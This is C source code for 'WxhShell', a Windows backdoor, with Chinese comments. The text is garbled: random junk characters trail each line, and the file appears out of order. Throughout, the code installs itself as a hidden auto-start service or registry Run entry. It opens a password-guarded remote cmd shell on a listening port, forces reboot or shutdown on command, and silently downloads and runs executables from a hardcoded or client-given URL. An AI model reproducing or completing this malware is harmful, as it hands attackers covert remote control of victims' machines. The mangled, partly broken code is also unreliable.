    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /jJw0 5;L  
    if(Boot(SHUTDOWN)) R~ q]JSIC@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |Ds1  
    else { -m~#Bq  
    closesocket(wsh); 'E""amIJ  
    ExitThread(0); oe-\ozJ0  
    } L) T (<  
    break; Qh\60f>0  
    }  H6/$d  
  // 获取shell T1=fNF  
  case 's': { "@2-Zdrr1<  
    CmdShell(wsh); S;`A{Mow  
    closesocket(wsh); Q>Yjy!. <^  
    ExitThread(0); VRB;$  
    break; ^s"R$?;h  
  } ;>7De8v@@  
  // 退出 z!9-:  
  case 'x': { E+;7>ja  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); </*6wpN  
    CloseIt(wsh); h2fNuu"  
    break; }:)&u|d_  
    } o|["SYIf  
  // 离开 A^<jy=F&  
  case 'q': { |aq"#Ml)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O6^]=/wd  
    closesocket(wsh); @b2aNS<T  
    WSACleanup(); aAUvlb  
    exit(1); =Jb>x#Y  
    break; %n9aaoD  
        } vUM4S26"NT  
  } P+/e2Y  
  } zIAD9mQex  
l2Rb\4  
  // 提示信息 y?4BqgB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A2Gevj?F$  
} [Z$[rOF  
  } #S"nF@   
*gWwALGo5  
  return; $-sHWYZ  
} @E|}Y  
oXF.1f/h  
// shell模块句柄 #QMz<P/Gl6  
int CmdShell(SOCKET sock) }&D32\  
{ U-M>=3|N  
STARTUPINFO si; +52{-a,>  
ZeroMemory(&si,sizeof(si)); $qj2w"'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I b5rqU\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ig>(m49d  
PROCESS_INFORMATION ProcessInfo; E r?&Y,o  
char cmdline[]="cmd"; r_A$DaC]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (SAs-  
  return 0; Rnq7LGy  
} )+9Uoe~6  
$~T4hv :  
// 自身启动模式 <wD-qTW  
int StartFromService(void) {I't]Qj_e  
{ nAdf=D'P  
typedef struct |&i<bqLw:  
{ Pe3o;mx  
  DWORD ExitStatus; \,0oX!<YY  
  DWORD PebBaseAddress; U&qZ"  
  DWORD AffinityMask; /cP"h!P}~~  
  DWORD BasePriority; ?%[jR=w  
  ULONG UniqueProcessId; ?4T-@~~*`=  
  ULONG InheritedFromUniqueProcessId; 3/eca  
}   PROCESS_BASIC_INFORMATION; j?4qO]_Wx+  
5`p.#  
PROCNTQSIP NtQueryInformationProcess; uoh7Sz5!^  
]:J$w]\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4^o^F-k'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nAlQ7 '  
+ mT_QsLEv  
  HANDLE             hProcess; |+D!= :x  
  PROCESS_BASIC_INFORMATION pbi; KoT%Mfu  
FfT`;j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Wmv#:U  
  if(NULL == hInst ) return 0; SXP]%{@ R/  
pOoEI+t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $/Uq0U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !R`{ TbN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l+0oS'`V*L  
BnF^u5kv%  
  if (!NtQueryInformationProcess) return 0; 8zW2zkv2|#  
=41?^1\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <lJ345Q  
  if(!hProcess) return 0; l9Q- iJ  
~})e?q;b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1 [Bk%G@D&  
1T n}  
  CloseHandle(hProcess); ?(_08O  
gL/9/b4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `C'H.g\>2Q  
if(hProcess==NULL) return 0; j8:\%|  
J\=*#*rJ1  
HMODULE hMod; 'i|YlMFIg  
char procName[255]; >Y@H4LF;1x  
unsigned long cbNeeded; M x" \5i  
2&J)dtqz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5146kp|1  
mgU<htMr1  
  CloseHandle(hProcess); 5L}/&^E#p  
+G>\-tjSD  
if(strstr(procName,"services")) return 1; // 以服务启动 vo{--+{ky!  
%JTpI`  
  return 0; // 注册表启动 4 s9LB  
} t\O16O7S  
4Ftu  
// 主模块 N!tX<u~2  
int StartWxhshell(LPSTR lpCmdLine) V0a3<6@4  
{ aw&,S"A@  
  SOCKET wsl; '8kP.l  
BOOL val=TRUE; ~6md !o%i  
  int port=0; )NT*bLRPQ  
  struct sockaddr_in door; (A.C]hD  
{R{=+2K!|k  
  if(wscfg.ws_autoins) Install(); _Y m2/3!  
v4 E}D  
port=atoi(lpCmdLine); 6Q5^>\Y  
@_{=V0  
if(port<=0) port=wscfg.ws_port; ?:eV%`7  
;5( UzQU  
  WSADATA data; DzRFMYBR  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {?7Uj  
w_VP J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b*lkBqs$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MomwX  
  door.sin_family = AF_INET; ;8 lfOMf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vW@=<aS Z  
  door.sin_port = htons(port); ba9?(+i$h  
?:9"X$XR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8zq=N#x  
closesocket(wsl); *|HY>U.  
return 1; eS){1  
}  C9)@jK%  
E=O\0!F|b  
  if(listen(wsl,2) == INVALID_SOCKET) { [dVL&k<P  
closesocket(wsl); bpa?C  
return 1; 3=V &K-  
} 'dc#F3  
  Wxhshell(wsl); 1Ai^cf:S  
  WSACleanup(); b%c9oR's^  
cso8xq|b7  
return 0; ~)M~EX&pK  
.x&%HA  
} L-&\\{ X  
_,*r_D61S  
// 以NT服务方式启动 KqP#6^ _  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  4Wp=y  
{ ;mi%F3  
DWORD   status = 0; ,<X9Y2B  
  DWORD   specificError = 0xfffffff; 7a}k  
 LFV%&y|L  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  05^h"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /BL4<T f  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yaX iE_.  
  serviceStatus.dwWin32ExitCode     = 0; cm+P]8o%{  
  serviceStatus.dwServiceSpecificExitCode = 0; &#i"=\d  
  serviceStatus.dwCheckPoint       = 0; b7ZSPXV  
  serviceStatus.dwWaitHint       = 0; NwfVL4Xg  
sa8Vvzvo.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N6TH}~62}  
  if (hServiceStatusHandle==0) return; 86H+h (R/  
|5]X| v  
status = GetLastError(); cidP|ie^  
  if (status!=NO_ERROR) f%8C!W]Dm  
{ "ocyK}l.?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zKK9r~ M  
    serviceStatus.dwCheckPoint       = 0; b~cZS[S  
    serviceStatus.dwWaitHint       = 0; l%=;  
    serviceStatus.dwWin32ExitCode     = status; MpOc  
    serviceStatus.dwServiceSpecificExitCode = specificError; V]?R>qhgu  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l}P=/#</T  
    return; u$`a7Lp,n  
  } lk=<A"^S  
!PE]C!*gv&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vw@S>G lGg  
  serviceStatus.dwCheckPoint       = 0; Ni7nq8B<  
  serviceStatus.dwWaitHint       = 0; -I%5$`z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rS Ni@;   
} c[s4EUG  
wKY_Bo/d  
// 处理NT服务事件,比如:启动、停止 $Y gue5{c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *OQ2ucC8j  
{ - ! S_ryL  
switch(fdwControl)  f)<6  
{ %]7d`/  
case SERVICE_CONTROL_STOP: 2t1ZIyv3 D  
  serviceStatus.dwWin32ExitCode = 0; Kf-JcBsrT  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |&4/n6;P$0  
  serviceStatus.dwCheckPoint   = 0; fTX;.M/%   
  serviceStatus.dwWaitHint     = 0; H0cA6I  
  { %SUQ9\SEs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TJ*T:?>e  
  } \^1E4C\":  
  return; . 'yCw#f  
case SERVICE_CONTROL_PAUSE: $`'/+x"%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M'l ;:  
  break; OB}Ib]  
case SERVICE_CONTROL_CONTINUE: bQ5\ ]5M  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ht&Y C<X  
  break; &>}5jC.I  
case SERVICE_CONTROL_INTERROGATE: I*^Ta{j[  
  break; ,wPr"U+7  
}; ~bpgSP"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r@,2E6xn  
} ]]Ufas9  
%N_%JK\{@  
// 标准应用程序主函数 {fp[BF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^d xTm1Z  
{ Wn}'bqp  
wUM0M?_p[  
// 获取操作系统版本 ,"0 :3+(8;  
OsIsNt=GetOsVer(); [a<SDMR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _Bj":rzY  
ijU*|8n{>  
  // 从命令行安装 \lNN Msd&  
  if(strpbrk(lpCmdLine,"iI")) Install(); M"To&?OI  
|e0`nn=  
  // 下载执行文件 /_ajaz%  
if(wscfg.ws_downexe) { A+?`?pOm&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S0W||#Pr  
  WinExec(wscfg.ws_filenam,SW_HIDE); BfiD9ka-z  
} ~7Ux@Sx;  
;xn0;V'=  
if(!OsIsNt) { J4U1t2@)9  
// 如果时win9x,隐藏进程并且设置为注册表启动 [opGZ`>)j"  
HideProc(); ;]:@n;c\  
StartWxhshell(lpCmdLine); caX< n>  
} h!9ei6  
else ygl0k \  
  if(StartFromService()) dUdT7ixo  
  // 以服务方式启动 _PR4`C*  
  StartServiceCtrlDispatcher(DispatchTable); )Xyn q(  
else Yz)qcU  
  // 普通方式启动 J<lO= +mg  
  StartWxhshell(lpCmdLine); +8ZF"{y  
q- d:TMkc  
return 0; Y`wSv NU  
} 8*a&Jl  
`~q<N  
r9G>jiw8  
L9#g)tf 8T  
=========================================== jZr q{Z<  
~WV"SaA)*U  
/; 85i6  
IV)j1  
18:%~>.!  
0+b1vhQ  
" #C@FYO f*  
,5<Cd,`*  
#include <stdio.h> .(2ik5A%9  
#include <string.h> 3"\lu?-E  
#include <windows.h> Pj% |\kbNs  
#include <winsock2.h>  %D "I  
#include <winsvc.h> koi^l`B$  
#include <urlmon.h> 8, >P  
)wh A<lC  
#pragma comment (lib, "Ws2_32.lib") "kqPmeI  
#pragma comment (lib, "urlmon.lib") hP&B t  
U~7c+}:c  
#define MAX_USER   100 // 最大客户端连接数 ufT`"i  
#define BUF_SOCK   200 // sock buffer II x#2r  
#define KEY_BUFF   255 // 输入 buffer uY'HT|@:{  
^K@C"j?M/  
#define REBOOT     0   // 重启 ` sU/&  P  
#define SHUTDOWN   1   // 关机 ,$&&-p I]  
@Do= k  
#define DEF_PORT   5000 // 监听端口 ;sFF+^~L  
S|+o-[e8O  
#define REG_LEN     16   // 注册表键长度 8}| (0mC  
#define SVC_LEN     80   // NT服务名长度 r]36z X v  
jrh43 \$*  
// 从dll定义API v/=}B(TDF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ooy7*W';  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jo@J}`\Zt  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wq`Bd  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }RqK84K  
_:27]K:  
// wxhshell配置信息 {Y9q[D'g.  
struct WSCFG { ,zY$8y]  
  int ws_port;         // 监听端口 i K? w6  
  char ws_passstr[REG_LEN]; // 口令 Pgea NK5Y  
  int ws_autoins;       // 安装标记, 1=yes 0=no cYt!n5w~W  
  char ws_regname[REG_LEN]; // 注册表键名 6!FQzFCZq  
  char ws_svcname[REG_LEN]; // 服务名 VP]%Hni]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 I~XSn>-H  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S{m% H{A!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Th%Sjgsn  
int ws_downexe;       // 下载执行标记, 1=yes 0=no y'*K|a TG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" | Xy6PN8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4{`{WI{  
=rX>.P%Q5  
}; #;nYg?d=  
'`KY! ]L  
// default Wxhshell configuration XpJ7o=?W3  
struct WSCFG wscfg={DEF_PORT, n ?Nt6U  
    "xuhuanlingzhe", 92KRb;c  
    1, }`~+]9 <   
    "Wxhshell", | %Vh`HT  
    "Wxhshell", XOS[No~  
            "WxhShell Service", @MCg%Afw  
    "Wrsky Windows CmdShell Service", g}',(tPMZ  
    "Please Input Your Password: ", K(Bf2Mfq  
  1, tZG:Pr1U@  
  "http://www.wrsky.com/wxhshell.exe", z' >_Mc6  
  "Wxhshell.exe" n6a`;0f[R  
    }; HC,Se.VYS  
E~oOKQ5W  
// 消息定义模块 pIX`MlBdF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?(i{y~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *!7 O~yQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,01"SWE  
char *msg_ws_ext="\n\rExit."; ?.;c$'  
char *msg_ws_end="\n\rQuit."; e**qF=HCw  
char *msg_ws_boot="\n\rReboot..."; [HZv8HU|  
char *msg_ws_poff="\n\rShutdown..."; 6,{$J  
char *msg_ws_down="\n\rSave to "; 0KOgw*>_  
/s}} &u/  
char *msg_ws_err="\n\rErr!"; G<v&4/\p`M  
char *msg_ws_ok="\n\rOK!"; ~M4;  
,nDaqQ-C!!  
char ExeFile[MAX_PATH]; yaH Zt`Y  
int nUser = 0; YcpoL@ab  
HANDLE handles[MAX_USER]; rh}J3S5vp  
int OsIsNt; gSQJJxZ{?  
I9hK} D  
SERVICE_STATUS       serviceStatus; kpN)zxfk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %OOl'o"V{s  
`RL"AH:+  
// 函数声明 j#q-^h3H  
int Install(void); .ctw2x5W  
int Uninstall(void); [3|P7?W/  
int DownloadFile(char *sURL, SOCKET wsh); 03#lX(MB  
int Boot(int flag); ut7zVp<"  
void HideProc(void); [K0(RDV)%  
int GetOsVer(void); kL"2=7m;  
int Wxhshell(SOCKET wsl); YteO 6A;  
void TalkWithClient(void *cs); 4@# `t5H  
int CmdShell(SOCKET sock); ._{H~R|  
int StartFromService(void); %Y*Ndt4  
int StartWxhshell(LPSTR lpCmdLine); wcY? rE9  
JrRH\+4K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j HJ`,#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L0WN\|D  
b!5~7Ub.No  
// 数据结构和表定义 XuM'_FN`A<  
SERVICE_TABLE_ENTRY DispatchTable[] = 2!=f hN  
{ *YuF0Yt  
{wscfg.ws_svcname, NTServiceMain}, 9m~p0ILh  
{NULL, NULL} *wB1,U{  
}; 5taT5?n2  
7\Y0z  
// 自我安装 -z%^)VE  
int Install(void) q9r[$%G  
{ ZRU{ [4  
  char svExeFile[MAX_PATH]; i6Emhji  
  HKEY key; CdjI`  
  strcpy(svExeFile,ExeFile); lchPpm9  
sN01rtB(UT  
// 如果是win9x系统,修改注册表设为自启动 6zuTQ^pz  
if(!OsIsNt) { ou{2@"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { % ^1V4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <1${1A <Wa  
  RegCloseKey(key); [j/9neaye  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #fn)k1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A@{PZ   
  RegCloseKey(key); dE{dZ#Jfi  
  return 0; )cMh0SGcM1  
    } =R$u[~Xl2X  
  } Ls+2Zbh  
} h^(* Tv-!  
else { aNspMJ  
#( 146  
// 如果是NT以上系统,安装为系统服务 N)\. [v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >$/>#e~  
if (schSCManager!=0) O)n~](sC\  
{ 9gK` E  
  SC_HANDLE schService = CreateService M\Ye<Tk  
  ( HJ[cM6$2  
  schSCManager, uo%)1NS!  
  wscfg.ws_svcname, rlSeu5X6  
  wscfg.ws_svcdisp, ~ =2PU$u  
  SERVICE_ALL_ACCESS, x@;m8z0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4yr'W8X_  
  SERVICE_AUTO_START, ywmo#qYe  
  SERVICE_ERROR_NORMAL, !@*7e:l  
  svExeFile, `% "\@<  
  NULL, #r~# I}U  
  NULL, YWO)HsjP  
  NULL, bI9~jWgGp  
  NULL, TpwkD_fg  
  NULL ^7WN{0  
  ); kxIF#/8  
  if (schService!=0) a P@N)"  
  { #rQ2gx4  
  CloseServiceHandle(schService); 2E)-M9ds  
  CloseServiceHandle(schSCManager); ,Np0wg0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k|PN0&J  
  strcat(svExeFile,wscfg.ws_svcname); M; tqp8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :vQrOn18p  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :zke %Yx  
  RegCloseKey(key); \aUC(K~o\;  
  return 0; By",rD- r  
    } u?<%q!  
  } yfjWbW  
  CloseServiceHandle(schSCManager); Z4w!p?Wqa  
} 6@F9G 4<Z  
} sW'AjI  
dhf!o0'1M  
return 1; u5b|#&-mX  
} Y>dzR)~3[  
W ]?G}Q;  
// 自我卸载 X Dm[Gc>(~  
int Uninstall(void) pG^  
{ m6\E$;`  
  HKEY key; +RMSA^  
+YKi,  
if(!OsIsNt) { hPkWCoQpq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A,Vu\3HS  
  RegDeleteValue(key,wscfg.ws_regname); ub#a`  
  RegCloseKey(key); 1N#| }ad  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }Gm>`cw-  
  RegDeleteValue(key,wscfg.ws_regname); S8wLmd>  
  RegCloseKey(key); IT7wT+  
  return 0; J~ zUp(>K  
  } */^q{PsN  
} ;dtA4:IRZ4  
} %XoiVlT@:  
else { {{D)YldtA  
*-=(Q`3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bL+_j}{:N  
if (schSCManager!=0) f<fXsSv(  
{ l \!fj#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r,1!?s^L  
  if (schService!=0) }mYx_=+VX  
  { )D5"ap]fX  
  if(DeleteService(schService)!=0) { ):68%,  
  CloseServiceHandle(schService); M2>Vj/  
  CloseServiceHandle(schSCManager); M l{Z  
  return 0; ,,&* :<Q  
  } "ESwA  
  CloseServiceHandle(schService); 6azGhxh  
  } 2Aazy'/  
  CloseServiceHandle(schSCManager); ~Z?TFg  
} Xq]w<$  
} Fa Qe_;  
b_#m}yZ6  
return 1;  gmO!  
} 9`A;U|~E@  
k"T}2 7  
// 从指定url下载文件 0KcyLAJ  
int DownloadFile(char *sURL, SOCKET wsh) ,c$_t+  
{ j_!F*yul  
  HRESULT hr; fF$<7O)+]  
char seps[]= "/"; L_uVL#To  
char *token; NMa}{*sQ  
char *file; :I j{s  
char myURL[MAX_PATH]; g1/[eoZzk  
char myFILE[MAX_PATH]; tqvN0vY5  
D9 CaFu  
strcpy(myURL,sURL); J6s`'gFns  
  token=strtok(myURL,seps); qo90t{|c  
  while(token!=NULL) 'KS,'%  
  { nQX:T;WL@  
    file=token; uD$u2  
  token=strtok(NULL,seps); hk(ZM#Bh  
  } <EB+1GFuI  
B:;pvW]  
GetCurrentDirectory(MAX_PATH,myFILE); 8>2.UrC  
strcat(myFILE, "\\"); j9x<Y]  
strcat(myFILE, file); fcRxp{*zO  
  send(wsh,myFILE,strlen(myFILE),0); 'RQ+g}|Ba!  
send(wsh,"...",3,0); [LjT*bi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L%*!`TN  
  if(hr==S_OK) hYT0l$Ng  
return 0; W#4 7h7M  
else @;zl  
return 1; w;[NH/A^a  
_(W+S`7Z  
} \}u Y'F  
7 S#J>*  
// 系统电源模块 UqFO|r"M  
int Boot(int flag) ^pAAzr"hv  
{ E"\<s3  
  HANDLE hToken; %Q__!D[  
  TOKEN_PRIVILEGES tkp; {7"Q\  
n/;WxnnQ  
  if(OsIsNt) { rxgbV.tx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =r?hg GWe  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); | C;=-|  
    tkp.PrivilegeCount = 1; Z58 X5"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (Ft+uuG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jiV<+T?  
if(flag==REBOOT) { ^EtMxF@D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k2omJ$?v  
  return 0; ITE{@1  
} Xk~D$~4<  
else { Gv!2f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~NrG` D}  
  return 0; EnKR%Ctw  
} 'NXN& {  
  } ?/wm(uL  
  else { )0.kv2o.  
if(flag==REBOOT) { T6y\|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T] f ;km  
  return 0; 4x=v?g&  
} zsEc(  
else { 9|^2",V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >a!/QMh  
  return 0; )#0O>F~  
} >Eyt17_H"n  
} XV7Ex\D*  
qTRsZz@  
return 1; guq{#?}  
} 2@n{yYwy  
}Sm(]y  
// win9x进程隐藏模块 #`qx<y*S  
void HideProc(void) pz!Zs."f)  
{ Fd%#78UEo}  
0#7>o^2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); OZb-:!m*  
  if ( hKernel != NULL ) du $:jN\}  
  { j nkR}wAA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i^/T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =m]v8`g  
    FreeLibrary(hKernel); )nC]5MXU  
  } 9@SC}AF.  
WA<v9#m  
return; QGMV}y  
} a(m2n.0'>  
b <tNk]7  
// 获取操作系统版本 v^sv<4*%  
int GetOsVer(void) NJ%P/\ C  
{ +C^nO=[E  
  OSVERSIONINFO winfo; _>o:R$ %}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w1F cB$  
  GetVersionEx(&winfo); +r�  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u4*BX&  
  return 1; U45e2~1!O  
  else $!-yr7  
  return 0; k90YV(  
} W- $Z(Z XL  
")1:F>  
// 客户端句柄模块 DHg :8%3x  
int Wxhshell(SOCKET wsl) y B81f  
{ ~T"Rw2v b  
  SOCKET wsh; H9Gh>u]}  
  struct sockaddr_in client; RF?`vRZOe  
  DWORD myID; D5gFXEeh  
s-NX o  
  while(nUser<MAX_USER) mtpeRVcF  
{ .97])E[U  
  int nSize=sizeof(client); <jBF[v9*m(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +i6GHBn~J  
  if(wsh==INVALID_SOCKET) return 1; xBj 9y u  
1>.Ev,X+e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \:P>le'1  
if(handles[nUser]==0) DcS+_>a\{l  
  closesocket(wsh); lwR<(u31e  
else ]]HNd7Vh  
  nUser++; 5p,RI&nlN  
  } W Tcw4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;_XFo&@  
nd`1m[7MNu  
  return 0; FBG4pb9=~  
} B5`EoZ  
`C,n0'PL.  
// 关闭 socket x[| }.Ew  
void CloseIt(SOCKET wsh)  > ^O7  
{ \Zb;'eDv  
closesocket(wsh); ImA @}:  
nUser--; pj8=wch  
ExitThread(0); iR HQ:Y!  
} b;L\EB  
~kV/!=  
// 客户端请求句柄 Mg+2. 8%  
void TalkWithClient(void *cs) A_rG t?i  
{ i[i4h"$0  
8u"U1  
  SOCKET wsh=(SOCKET)cs; 6u?>M9  
  char pwd[SVC_LEN]; E[OJ+ ;c  
  char cmd[KEY_BUFF]; gZVc 5u<  
char chr[1]; &L3M]  
int i,j; "6A ` q\  
{aZ0;  
  while (nUser < MAX_USER) { RCJ|P~*  
IM*y|UHt  
if(wscfg.ws_passstr) { g/4[N{Xf  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (xycJ`N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?C]vS_jAh  
  //ZeroMemory(pwd,KEY_BUFF); 6dHOf,zjm  
      i=0; z,RhYm  
  while(i<SVC_LEN) { Q(G#W+r  
pt?bWyKG  
  // 设置超时 NCveSP  
  fd_set FdRead; )',R[|<  
  struct timeval TimeOut; Q;Ak4 [  
  FD_ZERO(&FdRead); $Ph|e)p  
  FD_SET(wsh,&FdRead); 2 'l'8  
  TimeOut.tv_sec=8; pR<`H'  
  TimeOut.tv_usec=0; SV4E0c>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C-xr"]#]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @b\$yB@z  
`&qL(66  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $yP*jO4i  
  pwd=chr[0]; 5; C|  
  if(chr[0]==0xd || chr[0]==0xa) { VCYwzB  
  pwd=0; , };& tR  
  break; 'I|v[G$l  
  } j\yjc/m  
  i++; H;is/  
    } !6 #X>S14  
_=>He=v/  
  // 如果是非法用户,关闭 socket P-[-pi@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I]|Pq  
} oE @a'*.\  
; T\%|O=Ke  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PJ')R:e,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |*Yr<zt  
f^3*)Ni  
while(1) { Xc ++b|k  
#&+{mCjs  
  ZeroMemory(cmd,KEY_BUFF); T}Tp$.gB  
3=#<X-);  
      // 自动支持客户端 telnet标准   E#RDqL*J  
  j=0; xH4m|  
  while(j<KEY_BUFF) { h#I>M`|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "s-"<&>a(  
  cmd[j]=chr[0]; k8yEdi`  
  if(chr[0]==0xa || chr[0]==0xd) { m,28u3@r  
  cmd[j]=0; _RYxD"m y  
  break; qAr M|\l1  
  } g9pZ\$J&  
  j++; 3yme1Mb  
    } 7WqH&vU|  
Es`Px_k  
  // 下载文件 DK~xrU'  
  if(strstr(cmd,"http://")) { MY)O^I X$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); //MUeTxR  
  if(DownloadFile(cmd,wsh)) **0~K";\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sdrfsrNvB-  
  else =s{>Fsm1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v/plpNVp >  
  } hfB%`x#akQ  
